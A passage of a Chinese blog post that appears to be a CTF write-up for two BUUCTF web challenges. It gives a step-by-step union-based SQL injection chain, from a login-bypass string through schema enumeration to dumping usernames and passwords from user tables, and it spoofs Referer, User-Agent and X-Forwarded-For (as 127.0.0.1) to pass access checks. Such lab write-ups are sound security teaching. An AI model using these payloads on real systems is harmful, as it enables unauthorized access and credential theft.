当前位置: 首页 > news >正文

BUUCTF-web刷题篇(3)

9.lovesql(SQL注入考点)

解题过程:①是否存在SQL注入 ②万能密码 admin' or 1=1 ③爆字段数 ④看回显 ⑤爆数据库 ⑥爆数据库的表 ⑦爆出表的列 ⑧读取内容,爆flag

基础知识点:union 联合查询,information表,group_concat()字符串连接

①是否存在SQL注入:加单引号报错 (语法错误)

/check.php?username=1'&password=2

/check.php?username=1&password=2'

/check.php?username=1'&password=2'

②使用万能密码 admin' or 1=1# 或者1' or 1=1# 密码随便写

(在输入框输入的#,可以直接使用hackbar地址栏,只需要将#进行URL编码,即替换为%23)

③爆字段(判断字段数,或者用union select null(,null,null)来判断)

check.php?username=admin ' order by 1 %23&password=1

check.php?username=admin ' order by 2 %23&password=1

check.php?username=admin ' order by 3 %23&password=1

check.php?username=admin ' order by 4 %23&password=1

发现4个参数报错,说明有3个字段

④看回显

/check.php?username=1' union select 1,2,3%23&password=1

页面显示hello 2! Your password is '3'说明回显点位在2,3

⑤爆数据库

/check.php?username=1' union select 1,database(),version()%23&password=1

⑥爆数据库的表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆出来数据库的表名有geekuser, l0ve1ysq1

⑦爆出表的列(查看两个表)

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

页面显示id,username,password

⑧读取内容,爆flag

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

或者

/check.php?username=1' union select 1,2,group_concat(username,0x40,password) from l0ve1ysq1 %23&password=1

/check.php?username=1' union select 1,2,group_concat(username,0x40,0x40,password) from l0ve1ysq1 %23&password=1

10.Http(http代理)

基础知识:

  • X-Forwarded-For(XFF)又名XFF头

1)概述:X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。 2)作用:获得HTTP请求端的真是IP 3)格式: X-Forwarded-For: client1, proxy1, proxy2, proxy3 其中client1是原始客户端的IP,后面接着是代理服务器的IP

  • Referer请求头字段

1)概述:Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2)作用:告诉服务器该请求是通过哪个页面发送过来的,从而使服务器进行对应的处理。

3)格式:Referer:url(此处为页面链接)

  • User-Agent请求头字段

1)概述:User-Agent是HTTP请求中用来检查浏览页面的访问者在用什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好的字段。

2)作用:告知服务器访问页面的客户是什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好

3)格式:User-Agent:Mozilla/5.0 (平台) 引擎版本 浏览器版本号 (此为通常格式)

解题过程:

查看网页源代码,发现Secret.php,点开后发现是"it doesn't come from 'https://Sycsecret.buuoj.cn'",提示该网页的Referer头为"https://Sycsecret.buuoj.cn",在请求头中添加Referer:https://Sycsecret.buuoj.cn字段发送请求后得到响应为

使用"Syclover" browser,于是将User-Agent改为"Syclover" brower即可

根据提示,是来自本地的访问请求,所以更改XFF头为127.0.0.1

爆出flag

相关文章:

  • PHP如何搭建设置代理http并加密使用?
  • PPT——组合SCI论文图片
  • 深入解析:MySQL 中 NULL 值是否占用 1 bit 存储空间?
  • “三小时搞定AI工具开发“:基于MCP的Node.js极简实践
  • Optional的stream方法,flatMap, filter应用
  • Imgui处理glfw的鼠标键盘的方法
  • stable diffusion webui 更改为python3.11版本运行Windows11
  • 【C++】右值引用与完美转发
  • 软件工程面试题(十)
  • 妙用《甄嬛传》中的选妃来记忆概率论中的乘法公式
  • 交换技术综合实验
  • 第四章.4.3.1ESP32传感器数据采集与滤波处理实战教程
  • 从0开始——在PlatformIO下开展STM32单片机的HAL库函数编程指南
  • ​​​​​​​​​​​​​​Spring Boot数据库连接池
  • Vue学习笔记集--computed
  • 蓝桥杯-特殊的多边形(dfs/前缀和)
  • 指针和引用
  • 业务流程先导及流程图回顾
  • YOLO基础知识
  • 【C语言文件精选题】
  • 小核酸药物企业瑞博生物递表港交所,去年亏损2.81亿元
  • 南京106亿元成交19宗涉宅地块:建邺区地块楼面单价重回4.5万元
  • 欢迎回家!神十九返回舱成功着陆
  • 美国清洗政治:一幅残酷新世界的蓝图正在展开
  • 国家统计局:一季度全国规模以上文化及相关产业企业营业收入增长6.2%
  • 新华社评论员:汇聚起工人阶级和广大劳动群众的磅礴力量